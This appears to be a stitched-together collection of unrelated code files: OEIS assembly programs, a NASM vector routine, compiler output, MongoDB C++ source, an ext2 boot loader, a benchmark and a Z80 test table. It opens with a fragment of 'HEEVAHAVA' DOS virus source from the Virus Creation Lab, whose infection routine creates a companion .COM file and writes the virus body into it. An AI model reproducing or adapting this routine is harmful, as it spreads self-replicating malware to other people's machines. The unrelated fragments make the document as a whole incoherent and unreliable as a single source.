mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
mov dx,offset start ; DX points to start of virus
int 021h
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
spawn_name db 12,12 dup (?),13 ; Name for next spawn
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
infected_all proc near
#if virus_type eq 0
mov al,byte ptr [di + set_carry]
else
mov al,byte ptr [set_carry] ; AX holds success value
#endif
cbw ; Sign-extend AL into AX
ret ; Return to caller
infected_all endp
data00 db 7,7,7,7,"Only heeva-hava's get stuck with THE HEEVAHAVA virus!",13,10,0
vcl_marker db "HEEVA[VCL]",0 ; VCL creation marker
finish label near
code ends
end main
|
; A038213: Top line of 3-wave sequence A038196, also bisection of A006356.
; 1,3,14,70,353,1782,8997,45425,229347,1157954,5846414,29518061,149034250,752461609,3799116465,19181424995,96845429254,488964567014,2468741680809,12464472679038,62932092237197,317738931708801
mov $1,1
lpb $0
sub $0,1
add $2,$1
add $3,$2
add $2,$3
add $1,$2
lpe
mov $0,$1
|
; 1 2 3 4 5 6 7
;234567890123456789012345678901234567890123456789012345678901234567890
;=====================================================================
;
; FUNCTION NAME: vec_normalize_0_1
; FUNCTION DOCUMENTATION: <See doc/description file>
;
; AUTHOR: Nik Mohamad Aizuddin bin Nik Azmi
; EMAIL: nickaizuddin93@gmail.com
; DATE CREATED: 13-APR-2015
;
; CONTRIBUTORS: ---
;
; LANGUAGE: x86 Assembly Language
; SYNTAX: Intel
; ASSEMBLER: NASM
; ARCHITECTURE: i386
; KERNEL: Linux 32-bit
; FORMAT: elf32
;
; REQ EXTERNAL FILES: get_vector_info.asm
; vec_max_absvalue.asm
;
; VERSION: 0.1.0
; STATUS: Alpha
; BUGS: --- <See doc/bugs/index file>
;
; REVISION HISTORY: <See doc/revision_history/index file>
;
; MIT Licensed. See /LICENSE file.
;
;=====================================================================
extern get_vector_info
extern vec_max_absvalue
global vec_normalize_0_1
section .text
vec_normalize_0_1:
;parameter 1) EAX = @srcMatrix : Matrix (Input Only)
;parameter 2) EBX = @dstMatrix : Matrix (Input and Output)
;parameter 3) ECX = flag : DWORD (Input Only)
;parameter 4) EDX = srcIndex : DWORD (Input Only)
;parameter 5) ESI = dstIndex : DWORD (Input Only)
;returns ---
.setup_stackframe:
sub esp, 4
mov [esp], ebp
mov ebp, esp
.set_localvariables:
sub esp, 44
mov [esp ], eax ;pSrcMatrix
mov [esp + 4], ebx ;pDstMatrix
mov [esp + 8], ecx ;flag
mov [esp + 12], edx ;srcIndex
mov [esp + 16], esi ;dstIndex
mov dword [esp + 20], 0 ;srcJumpSize
mov dword [esp + 24], 0 ;srcNumOfElems
mov dword [esp + 28], 0 ;pSrcDataMat
mov dword [esp + 32], 0 ;dstJumpSize
mov dword [esp + 36], 0 ;dstNumOfElems
mov dword [esp + 40], 0 ;pDstDataMat
;Done setup local variables
;Check source matrix flag and assign the values
mov esi, [esp] ;ESI = pSrcMatrix
mov ebx, [esp + 8] ;EBX = flag for srcMatrix
and ebx, 0b01
mov ecx, [esp + 12] ;ECX = srcIndex
call get_vector_info
mov [esp + 20], ebx ;srcJumpSize
mov [esp + 24], ecx ;srcNumOfElements
mov [esp + 28], edi ;pSrcDataMat
;Check destination matrix flag and assign the values
mov esi, [esp + 4] ;ESI = pDstMatrix
mov ebx, [esp + 8] ;EBX = flag for dstMatrix
shr ebx, 1
mov ecx, [esp + 16] ;ECX = dstIndex
call get_vector_info
mov [esp + 32], ebx ;dstJumpSize
mov [esp + 36], ecx ;dstNumOfElements
mov [esp + 40], edi ;pDstDataMat
;Find maximum absolute value in the vector.
mov eax, [esp] ;EAX = pSrcMatrix
mov ebx, [esp + 8] ;EBX = flag for source matrix
and ebx, 0b01
mov ecx, [esp + 12] ;ECX = index of source matrix
call vec_max_absvalue
;XMM0 = maximum absolute value of the source vector
mov ecx, [esp + 24] ;ECX = srcNumOfElements
mov ebx, [esp + 20] ;EBX = srcJumpSize
mov edx, [esp + 32] ;EDX = dstJumpSize
mov esi, [esp + 28] ;ESI = srcDataMat
mov edi, [esp + 40] ;EDI = dstDataMat
.loop:
movss xmm1, [esi]
divss xmm1, xmm0
movss [edi], xmm1
add esi, ebx
add edi, edx
sub ecx, 1
jnz .loop
.endloop:
.clean_stackframe:
mov esp, ebp
mov ebp, [esp]
add esp, 4
ret
|
.intel_syntax noprefix
.global _Z4mainv
.global _Z10Start_Testv
.section .text #.text
_Z10Start_Testv:
sub rsp, 24 #.STACK, 24
lea rcx, qword ptr [rsp + 0 ] #x_REG0, .STACK_0
mov rcx, rcx #x_TMP_1710133559488, x_REG0
add qword ptr [rcx + 0 ], 1 #x_TMP_1710133559488_0, 1
mov rcx, rcx #this_69, x_TMP_1710133559488
mov r8, rcx #this_69_TMP_1710133564864, this_69
add qword ptr [r8 + 0 ], 1 #this_69_TMP_1710133564864_0, 1
mov r8, r8 #this_68_69, this_69_TMP_1710133564864
mov r8, rcx #this_68_69, this_69
mov dword ptr [r8 + 8 ], 4 #this_68_69_8, 4
Return_Here_89:
mov dword ptr [rcx + 12 ], 1 #this_69_12, 1
mov dword ptr [rcx + 16 ], 2 #this_69_16, 2
mov dword ptr [rcx + 20 ], 6 #this_69_20, 6
mov dword ptr [rcx + 8 ], 5 #this_69_8, 5
jmp Return_Here_88 #Return_Here_88
Return_Here_88:
lea rcx, qword ptr [rsp + 0 ] #x_REG1, .STACK_0
mov rcx, rcx #x_TMP_1710133581888, x_REG1
add qword ptr [rcx + 0 ], 1 #x_TMP_1710133581888_0, 1
mov rcx, rcx #f_70, x_TMP_1710133581888
mov r8, rcx #f_70_TMP_1710133575616, f_70
add qword ptr [r8 + 0 ], 1 #f_70_TMP_1710133575616_0, 1
mov r8, r8 #b_67_70, f_70_TMP_1710133575616
mov r8, rcx #b_67_70, f_70
jmp Return_Here_91 #Return_Here_91
Return_Here_91:
mov ecx, dword ptr [r8 + 12 ] #b_67_70_12_REG2, b_67_70_12
mov ecx, ecx #Return_Value70, b_67_70_12_REG2
jmp Return_Here_90 #Return_Here_90
Return_Here_90:
mov eax, ecx #Returning_REG3, Return_Value70
add rsp, 24 #.STACK, 24
ret #
add rsp, 24 #.STACK, 24
ret #
_Z4mainv:
sub rsp, 24 #.STACK, 24
lea rcx, qword ptr [rsp + 0 ] #x_71_REG0, .STACK_0
mov rcx, rcx #x_71_TMP_1710133598016, x_71_REG0
add qword ptr [rcx + 0 ], 1 #x_71_TMP_1710133598016_0, 1
mov rcx, rcx #this_69_71, x_71_TMP_1710133598016
mov r8, rcx #this_69_71_TMP_1710133614144, this_69_71
add qword ptr [r8 + 0 ], 1 #this_69_71_TMP_1710133614144_0, 1
mov r8, r8 #this_68_69_71, this_69_71_TMP_1710133614144
mov r8, rcx #this_68_69_71, this_69_71
mov dword ptr [r8 + 8 ], 4 #this_68_69_71_8, 4
Return_Here_93:
mov dword ptr [rcx + 12 ], 1 #this_69_71_12, 1
mov dword ptr [rcx + 16 ], 2 #this_69_71_16, 2
mov dword ptr [rcx + 20 ], 6 #this_69_71_20, 6
mov dword ptr [rcx + 8 ], 5 #this_69_71_8, 5
jmp Return_Here_94 #Return_Here_94
Return_Here_94:
lea rcx, qword ptr [rsp + 0 ] #x_71_REG1, .STACK_0
mov rcx, rcx #x_71_TMP_1710133612352, x_71_REG1
add qword ptr [rcx + 0 ], 1 #x_71_TMP_1710133612352_0, 1
mov rcx, rcx #f_70_71, x_71_TMP_1710133612352
mov r8, rcx #f_70_71_TMP_1710133622208, f_70_71
add qword ptr [r8 + 0 ], 1 #f_70_71_TMP_1710133622208_0, 1
mov r8, r8 #b_67_70_71, f_70_71_TMP_1710133622208
mov r8, rcx #b_67_70_71, f_70_71
jmp Return_Here_95 #Return_Here_95
Return_Here_95:
mov ecx, dword ptr [r8 + 12 ] #b_67_70_71_12_REG2, b_67_70_71_12
mov ecx, ecx #Return_Value70_71, b_67_70_71_12_REG2
jmp Return_Here_96 #Return_Here_96
Return_Here_96:
jmp Return_Here_92 #Return_Here_92
Return_Here_92:
mov eax, 1 #Returning_REG3, 1
add rsp, 24 #.STACK, 24
ret #
add rsp, 24 #.STACK, 24
ret #
_ZN6Banana10DestructorEP6Banana:
push rbx #rbx
if_25:
cmp rcx, 0 #this, 0
je if_25_END #if_25_END
mov r8, qword ptr [rcx + 0 ] #this_0_REG0, this_0
sub r8, 1 #this_0_REG0, 1
cmp r8, 1 #this_0_REG0, 1
jge if_25_END #if_25_END
mov r8, rcx #this_TMP_1710134653104, this
add qword ptr [r8 + 0 ], 1 #this_TMP_1710134653104_0, 1
mov rbx, r8 #Address_66, this_TMP_1710134653104
mov rbx, rcx #Address_66, this
mov rcx, rbx #REG_Address_66_Parameter19072, Address_66
mov r8d, dword ptr [rbx + 20 ] #Address_66_20_REG1, Address_66_20
mov edx, r8d #REG_Address_66_20_REG1_Parameter6270, Address_66_20_REG1
call _V19internal_deallocatePhx
Return_Here_85:
mov rcx, rbx #REG_Address_66_Parameter5829, Address_66
call _ZN6Banana10DestructorEP6Banana
if_25_END:
pop rbx #rbx
ret #
.section .data #.data
std_MAX_CONSOLE_BUFFER_LENGHT:
.long 4096 #4096
std_GENERIC_WRITE:
.long 1073741824 #1073741824
std_GENERIC_READ:
.quad 2147483648 #2147483648
std_FILE_SHARE_NONE:
.long 0 #0
std_FILE_SHARE_READ:
.long 1 #1
std_FILE_SHARE_WRITE:
.long 2 #2
std_FILE_SHARE_DELETE:
.long 4 #4
std_CREATE_NEW:
.long 1 #1
std_CREATE_ALWAYS:
.long 2 #2
std_OPEN_EXISTING:
.long 3 #3
std_OPEN_ALWAYS:
.long 4 #4
std_TRUNCATE_EXISTING:
.long 4 #4
std_FILE_ATTRIBUTE_NORMAL:
.long 128 #128
std_FILE_ATTRIBUTE_FOLDER:
.long 16 #16
std_MAXIMUM_PATH_LENGTH:
.long 260 #260
std_ERROR_INSUFFICIENT_BUFFER:
.long 122 #122
std_MINIMUM_PROCESS_FILENAME_LENGTH:
.long 50 #50
|
; A004154: Omit trailing zeros from factorial numbers.
; 1,1,2,6,24,12,72,504,4032,36288,36288,399168,4790016,62270208,871782912,1307674368,20922789888,355687428096,6402373705728,121645100408832,243290200817664,5109094217170944,112400072777760768,2585201673888497664,62044840173323943936,15511210043330985984,403291461126605635584,10888869450418352160768,304888344611713860501504,8841761993739701954543616,26525285981219105863630848,822283865417792281772556288,26313083693369353016721801216,868331761881188649551819440128,29523279903960414084761860964352
mov $1,1
lpb $0
mul $1,$0
sub $0,1
dif $1,10
lpe
mov $0,$1
|
#ifndef BODY_HPP
#define BODY_HPP
#include "common.hpp"
class btRigidBody;
class btCollisionShape;
class Heightmap;
class Joint;
class Scene;
class Trimesh;
ATTRIBUTE_ALIGNED16(class) Body : public Common {
DECLARE_ES5_CLASS(Body, Body);
public:
static void init(Napi::Env env, Napi::Object exports);
~Body();
explicit Body(const Napi::CallbackInfo &info);
void _destroy();
void *operator new (size_t size) { return btAlignedAlloc(size, 16); }
void operator delete (void *ptr) { btAlignedFree(ptr); }
void refJoint(Joint *joint);
void unrefJoint(Joint *joint);
btDynamicsWorld *getWorld();
btRigidBody *getBody() { return _body; }
const btVector3 &getPos() { return _cachePos; }
Napi::Object asJsObject() { return _that.Value(); }
// called within engine
void __update();
private:
void _rebuild();
btVector3 _calcScale() const;
Napi::ObjectReference _sceneObj;
Scene *_scene;
btAlignedObjectArray<Joint*> _joints;
btCollisionShape *_cshape;
btRigidBody *_body;
std::string _cacheType;
btVector3 _cachePos;
btQuaternion _cacheRot;
btVector3 _cacheVell;
btVector3 _cacheVela;
btVector3 _cacheSize;
Heightmap *_cacheMap;
Trimesh *_cacheMesh;
float _cacheMass;
float _cacheRest;
float _cacheDampl;
float _cacheDampa;
btVector3 _cacheFactl;
btVector3 _cacheFacta;
float _cacheFrict;
bool _cacheSleepy;
JS_DECLARE_METHOD(Body, destroy);
JS_DECLARE_GETTER(Body, isDestroyed);
JS_DECLARE_GETTER(Body, type);
JS_DECLARE_SETTER(Body, type);
JS_DECLARE_GETTER(Body, pos);
JS_DECLARE_SETTER(Body, pos);
JS_DECLARE_GETTER(Body, rot);
JS_DECLARE_SETTER(Body, rot);
JS_DECLARE_GETTER(Body, vell);
JS_DECLARE_SETTER(Body, vell);
JS_DECLARE_GETTER(Body, vela);
JS_DECLARE_SETTER(Body, vela);
JS_DECLARE_GETTER(Body, size);
JS_DECLARE_SETTER(Body, size);
JS_DECLARE_GETTER(Body, map);
JS_DECLARE_SETTER(Body, map);
JS_DECLARE_GETTER(Body, mesh);
JS_DECLARE_SETTER(Body, mesh);
JS_DECLARE_GETTER(Body, mass);
JS_DECLARE_SETTER(Body, mass);
JS_DECLARE_GETTER(Body, rest);
JS_DECLARE_SETTER(Body, rest);
JS_DECLARE_GETTER(Body, dampl);
JS_DECLARE_SETTER(Body, dampl);
JS_DECLARE_GETTER(Body, dampa);
JS_DECLARE_SETTER(Body, dampa);
JS_DECLARE_GETTER(Body, factl);
JS_DECLARE_SETTER(Body, factl);
JS_DECLARE_GETTER(Body, facta);
JS_DECLARE_SETTER(Body, facta);
JS_DECLARE_GETTER(Body, frict);
JS_DECLARE_SETTER(Body, frict);
JS_DECLARE_GETTER(Body, sleepy);
JS_DECLARE_SETTER(Body, sleepy);
};
#endif // BODY_HPP
|
; A019673: Decimal expansion of Pi/6.
; Submitted by Jon Maiga
; 5,2,3,5,9,8,7,7,5,5,9,8,2,9,8,8,7,3,0,7,7,1,0,7,2,3,0,5,4,6,5,8,3,8,1,4,0,3,2,8,6,1,5,6,6,5,6,2,5,1,7,6,3,6,8,2,9,1,5,7,4,3,2,0,5,1,3,0,2,7,3,4,3,8,1,0,3,4,8,3,3,1,0,4,6,7,2,4,7,0,8,9,0,3,5,2,8,4,4,6
add $0,1
mov $2,1
mov $3,$0
mul $3,5
lpb $3
mul $1,$3
mov $5,$3
mul $5,2
add $5,1
mul $2,$5
add $1,$2
div $1,$0
div $2,$0
sub $3,1
lpe
mul $1,4
div $1,12
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mov $0,$1
mod $0,10
|
; DO NOT WRITE TO SUPERBLOCK!!!
[global loader]
;constants
%include "../../memconsts/memconsts.asm"
%xdefine superblock_start usable_start
%xdefine superblock_end (usable_start+0x0400)
%xdefine root_bgd_start (usable_start+0x0400)
%xdefine root_bgd_end (usable_start+0x0600)
%xdefine usable_start (usable_start+0x0400)
[section .text]
[bits 16]
ext2loader:
cli
mov byte [bootdrive],dl
init_segments:
xor ax,ax
mov ds,ax
mov ss,ax
mov esp,stack_end
init_disk:
xor ah,ah
int 0x13
jc error
get_drive_params:
mov ah,0x08
int 0x13
jc error
mov bl,cl
and bl,0x3F
mov byte [bootsectors],bl
inc dh
mov byte [bootheads],dh
mov bl,ch
mov bh,cl
shr bh,0x06
inc bx
mov word [bootcylinders],bx
read_second_half:
mov ah,0x02
mov al,0x01
xor ch,ch
mov cl,0x02
xor dh,dh
mov byte dl,[bootdrive]
mov bx,0x7E0
mov es,bx
xor bx,bx
int 0x13
jc error
read_superblock:
mov al,0x02
xor ch,ch
mov cl,0x03
xor dh,dh
mov bx,(superblock_start>>0x04)
mov es,bx
mov bx,(superblock_start&0x0F)
call read_sectors
check_ext2_existence:
mov word ax,[superblock_start+0x38]
cmp ax,0xEF53
jnz error
check_ext2_errors:
mov word ax,[superblock_start+0x3A]
cmp ax,0x01
jz no_ext2_errors
mov word ax,[superblock_start+0x3C]
cmp ax,0x03
jz error
no_ext2_errors:
read_root_inode:
mov eax,0x02
call read_inode_to_usable
find_start_file:
mov esi,start_file_name
mov edi,edx
add edi,usable_start
call find_file_in_inode
test eax,eax
jz error
read_start_file_inode:
call read_inode_to_usable
read_start_file:
mov bx,(start_file_start>>0x04)
mov es,bx
mov bx,(start_file_start&0x0F)
mov eax,0x01
call block2device
mov cl,al
read_start_file_loop:
mov dword eax,[usable_start+edx+0x28]
test eax,eax
jz jump
push cx
call block2device
pop cx
pusha
call read_sectors_lba
popa
push cx
call get_block_size
add bl,al
and bl,0x0F
shr eax,0x04
mov cx,es
add cx,ax
mov es,cx
pop cx
add edx,0x04
jmp read_start_file_loop
; TODO: support files larger than 12 blocks
jump:
mov byte dl,[bootdrive]
push end
push start_file_start
ret
end:
jmp halt
error:
mov si,error_str
mov ecx,0xB8000
print_errmessage_loop:
mov byte bl,[si]
test bl,bl
jz halt
mov byte [ecx],bl
mov byte [ecx+0x01],0x07
add ecx,0x02
inc si
jmp print_errmessage_loop
halt:
cli
hlt
jmp $
;variables
error_str: db "ERROR",0x00
%include "../startfile.part"
;functions
return:
ret
popa_return:
popa
ret
%include "../read_sectors.part"
%include "../conversions.part"
;split
%include "../split.part"
;part 2
%include "superblock.part"
%include "blockgroups.part"
%include "find_file.part"
;size check
times 0x03FF-($-$$) db 0x00
|
// namespace_index.cpp
/**
* Copyright (C) 2013 10gen Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* As a special exception, the copyright holders give permission to link the
* code of portions of this program with the OpenSSL library under certain
* conditions as described in each individual source file and distribute
* linked combinations including the program with the OpenSSL library. You
* must comply with the GNU Affero General Public License in all respects for
* all of the code used other than as permitted herein. If you modify file(s)
* with this exception, you may extend this exception to your version of the
* file(s), but you are not obligated to do so. If you do not wish to do so,
* delete this exception statement from your version. If you delete this
* exception statement from all source files in the program, then also delete
* it in the license file.
*/
#define MONGO_LOG_DEFAULT_COMPONENT ::mongo::logger::LogComponent::kIndex
#include "mongo/platform/basic.h"
#include "mongo/db/storage/mmap_v1/catalog/namespace_index.h"
#include <boost/filesystem/operations.hpp>
#include "mongo/db/operation_context.h"
#include "mongo/db/storage/mmap_v1/catalog/hashtab.h"
#include "mongo/db/storage/mmap_v1/catalog/namespace_details.h"
#include "mongo/db/storage/mmap_v1/dur.h"
#include "mongo/db/storage/mmap_v1/mmap_v1_options.h"
#include "mongo/util/exit.h"
#include "mongo/util/file.h"
#include "mongo/util/log.h"
namespace mongo {
using std::endl;
using std::list;
using std::string;
NamespaceIndex::NamespaceIndex(const std::string& dir, const std::string& database)
: _dir(dir), _database(database), _ht(nullptr) {}
NamespaceIndex::~NamespaceIndex() {}
NamespaceDetails* NamespaceIndex::details(StringData ns) const {
const Namespace n(ns);
return details(n);
}
NamespaceDetails* NamespaceIndex::details(const Namespace& ns) const {
return _ht->get(ns);
}
void NamespaceIndex::add_ns(OperationContext* txn, StringData ns, const DiskLoc& loc, bool capped) {
NamespaceDetails details(loc, capped);
add_ns(txn, ns, &details);
}
void NamespaceIndex::add_ns(OperationContext* txn, StringData ns, const NamespaceDetails* details) {
Namespace n(ns);
add_ns(txn, n, details);
}
void NamespaceIndex::add_ns(OperationContext* txn,
const Namespace& ns,
const NamespaceDetails* details) {
const NamespaceString nss(ns.toString());
invariant(txn->lockState()->isDbLockedForMode(nss.db(), MODE_X));
massert(17315, "no . in ns", nsIsFull(nss.toString()));
uassert(10081, "too many namespaces/collections", _ht->put(txn, ns, *details));
}
void NamespaceIndex::kill_ns(OperationContext* txn, StringData ns) {
const NamespaceString nss(ns.toString());
invariant(txn->lockState()->isDbLockedForMode(nss.db(), MODE_X));
const Namespace n(ns);
_ht->kill(txn, n);
if (ns.size() <= Namespace::MaxNsColletionLen) {
// Larger namespace names don't have room for $extras so they can't exist. The code
// below would cause an "$extra: ns too large" error and stacktrace to be printed to the
// log even though everything is fine.
for (int i = 0; i <= 1; i++) {
try {
Namespace extra(n.extraName(i));
_ht->kill(txn, extra);
} catch (DBException&) {
LOG(3) << "caught exception in kill_ns" << endl;
}
}
}
}
bool NamespaceIndex::pathExists() const {
return boost::filesystem::exists(path());
}
boost::filesystem::path NamespaceIndex::path() const {
boost::filesystem::path ret(_dir);
if (storageGlobalParams.directoryperdb)
ret /= _database;
ret /= (_database + ".ns");
return ret;
}
static void namespaceGetNamespacesCallback(const Namespace& k,
NamespaceDetails& v,
list<string>* l) {
if (!k.hasDollarSign() || k == "local.oplog.$main") {
// we call out local.oplog.$main specifically as its the only "normal"
// collection that has a $, so we make sure it gets added
l->push_back(k.toString());
}
}
void NamespaceIndex::getCollectionNamespaces(list<string>* tofill) const {
_ht->iterAll(stdx::bind(
namespaceGetNamespacesCallback, stdx::placeholders::_1, stdx::placeholders::_2, tofill));
}
void NamespaceIndex::maybeMkdir() const {
if (!storageGlobalParams.directoryperdb)
return;
boost::filesystem::path dir(_dir);
dir /= _database;
if (!boost::filesystem::exists(dir))
MONGO_ASSERT_ON_EXCEPTION_WITH_MSG(boost::filesystem::create_directory(dir),
"create dir for db ");
}
void NamespaceIndex::init(OperationContext* txn) {
invariant(!_ht.get());
unsigned long long len = 0;
const boost::filesystem::path nsPath = path();
const std::string pathString = nsPath.string();
void* p = 0;
if (boost::filesystem::exists(nsPath)) {
if (_f.open(pathString)) {
len = _f.length();
if (len % (1024 * 1024) != 0) {
StringBuilder sb;
sb << "Invalid length: " << len << " for .ns file: " << pathString
<< ". Cannot open database";
log() << sb.str();
uassert(10079, sb.str(), len % (1024 * 1024) == 0);
}
p = _f.getView();
}
} else {
uassert(ErrorCodes::IllegalOperation,
"Cannot create a database in read-only mode.",
!storageGlobalParams.readOnly);
// use mmapv1GlobalOptions.lenForNewNsFiles, we are making a new database
massert(10343,
"bad mmapv1GlobalOptions.lenForNewNsFiles",
mmapv1GlobalOptions.lenForNewNsFiles >= 1024 * 1024);
maybeMkdir();
unsigned long long l = mmapv1GlobalOptions.lenForNewNsFiles;
log() << "allocating new ns file " << pathString << ", filling with zeroes..." << endl;
{
// Due to SERVER-15369 we need to explicitly write zero-bytes to the NS file.
const unsigned long long kBlockSize = 1024 * 1024;
invariant(l % kBlockSize == 0); // ns files can only be multiples of 1MB
const std::vector<char> zeros(kBlockSize, 0);
File file;
file.open(pathString.c_str());
massert(18825, str::stream() << "couldn't create file " << pathString, file.is_open());
for (fileofs ofs = 0; ofs < l && !file.bad(); ofs += kBlockSize) {
file.write(ofs, &zeros[0], kBlockSize);
}
if (file.bad()) {
try {
boost::filesystem::remove(pathString);
} catch (const std::exception& e) {
StringBuilder ss;
ss << "error removing file: " << e.what();
massert(18909, ss.str(), 0);
}
} else {
file.fsync();
}
massert(18826, str::stream() << "failure writing file " << pathString, !file.bad());
}
if (_f.create(pathString, l)) {
// The writes done in this function must not be rolled back. This will leave the
// file empty, but available for future use. That is why we go directly to the
// global dur dirty list rather than going through the OperationContext.
getDur().createdFile(pathString, l);
// Commit the journal and all changes to disk so that even if exceptions occur
// during subsequent initialization, we won't have uncommited changes during file
// close.
getDur().commitNow(txn);
len = l;
invariant(len == mmapv1GlobalOptions.lenForNewNsFiles);
p = _f.getView();
}
}
if (p == 0) {
severe() << "error couldn't open file " << pathString << " terminating" << endl;
invariant(false);
}
invariant(len <= 0x7fffffff);
_ht.reset(new NamespaceHashTable(p, (int)len, "namespace index"));
}
}
|
[SECTION .data]
uhoh db 5
[GLOBAL blah]
blah dw 5
[SECTION .text]
[EXTERN hi]
[EXTERN hi]
[EXTERN bye]
mov eax, hi+2
mov eax, bye
mov eax, [hi]
mov eax, [bye+2]
mov eax, $$
mov eax, $
mov eax, $-$$
;mov eax, uhoh wrt $$
mov eax, hi+bye
mov eax, bye+$
mov eax, hi-$
|
; The MIT License (MIT)
;
; Copyright (c) 2014 Microsoft
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in all
; copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
; SOFTWARE.
;
; Author: Mark Gottscho <mgottscho@ucla.edu>
.code
win_x86_64_asm_revStride8Write_Word256 proc
; Arguments:
; rcx is address of the last 256-bit word in the array
; rdx is address of the first 256-bit word in the array
; rax holds number of words accessed
; rcx holds the last 256-bit word address
; rdx holds the target total number of words to access
; xmm0 holds result from reading the memory 256-bit wide
mov rax,rcx ; Temporarily save last word address
sub rcx,rdx ; Get total number of 256-bit words between starting and ending addresses
shr rcx,5
mov rdx,rcx ; Set target number of words
mov rcx,rax ; Restore last word address
xor rax,rax ; initialize number of words accessed to 0
; initialize ymm0 to the value to write to memory. We will use all 1s, e.g. 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
; I am using the first 256-bits of the memory array to initialize ymm0. Is there a better way to do this?
mov qword ptr [rcx],0FFFFFFFFh
mov qword ptr [rcx+8h],0FFFFFFFFh
mov qword ptr [rcx+10h],0FFFFFFFFh
mov qword ptr [rcx+18h],0FFFFFFFFh
mov qword ptr [rcx+20h],0FFFFFFFFh
mov qword ptr [rcx+28h],0FFFFFFFFh
mov qword ptr [rcx+30h],0FFFFFFFFh
mov qword ptr [rcx+38h],0FFFFFFFFh
vmovdqu ymm0, ymmword ptr[rcx]
cmp rax,rdx ; have we completed the target total number of words to access?
jae done ; if the number of words accessed >= the target number, then we are done
myloop:
; Unroll 16 loads of 256-bit words (32 bytes is 20h) in strides of 8 words before checking loop condition.
vmovdqa ymmword ptr [rcx-0000h], ymm0
vmovdqa ymmword ptr [rcx-0100h], ymm0
vmovdqa ymmword ptr [rcx-0200h], ymm0
vmovdqa ymmword ptr [rcx-0300h], ymm0
vmovdqa ymmword ptr [rcx-0400h], ymm0
vmovdqa ymmword ptr [rcx-0500h], ymm0
vmovdqa ymmword ptr [rcx-0600h], ymm0
vmovdqa ymmword ptr [rcx-0700h], ymm0
vmovdqa ymmword ptr [rcx-0800h], ymm0
vmovdqa ymmword ptr [rcx-0900h], ymm0
vmovdqa ymmword ptr [rcx-0A00h], ymm0
vmovdqa ymmword ptr [rcx-0B00h], ymm0
vmovdqa ymmword ptr [rcx-0C00h], ymm0
vmovdqa ymmword ptr [rcx-0D00h], ymm0
vmovdqa ymmword ptr [rcx-0E00h], ymm0
vmovdqa ymmword ptr [rcx-0F00h], ymm0
add rax,16 ; Just did 16 accesses
cmp rax,rdx ; have we completed the target number of accesses in total yet?
jb myloop ; make another unrolled pass on the memory
done:
xor eax,eax ; return 0
ret
win_x86_64_asm_revStride8Write_Word256 endp
end
|
/*
* Copyright (C) 2016 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <cstdio>
#include "tools/SynthMarkCommand.h"
int main(int argc, char **argv)
{
return synthmark_command_main(argc, argv);
}
|
; The test vectors themselves.
;
; Copyright (C) 2012 Patrik Rak (patrik@raxoft.cz)
;
; This source code is released under the MIT license, see included license.txt.
selftests equ 0 ; Set to 1 to include detailed self tests.
mem equ data.mem
meml equ mem%256
memh equ mem/256
memsp equ mem+2
jmp equ data.jump
jmpl equ jmp%256
jmph equ jmp/256
if postccf
stop equ 256
tail equ 0x3f
else
stop equ 0
tail equ 0
endif
testtable:
if selftests
dw .crc
dw .counter
dw .shifter
endif
dw .selftest
dw .scf
dw .ccf
dw .scfccf
dw .ccfscf
dw .daa
dw .cpl
dw .neg
dw .neg_
dw .add_a_n
dw .adc_a_n
dw .sub_a_n
dw .sbc_a_n
dw .and_n
dw .xor_n
dw .or_n
dw .cp_n
dw .alo_a_a
dw .alo_a_b_c
dw .alo_a_d_e
dw .alo_a_h_l
dw .alo_a_hl
dw .alo_a_x
dw .alo_a_y
dw .alo_a_xyd
dw .rlca
dw .rrca
dw .rla
dw .rra
dw .rld
dw .rrd
dw .rlc_a
dw .rrc_a
dw .rl_a
dw .rr_a
dw .sla_a
dw .sra_a
dw .slia_a
dw .srl_a
dw .rlc_r
dw .rrc_r
dw .rl_r
dw .rr_r
dw .sla_r
dw .sra_r
dw .slia_r
dw .srl_r
dw .sro_xyd
dw .sro_xyd_r
dw .inc_a
dw .dec_a
dw .inc_r
dw .dec_r
dw .inc_x
dw .dec_x
dw .inc_xyd
dw .dec_xyd
dw .inc_rr
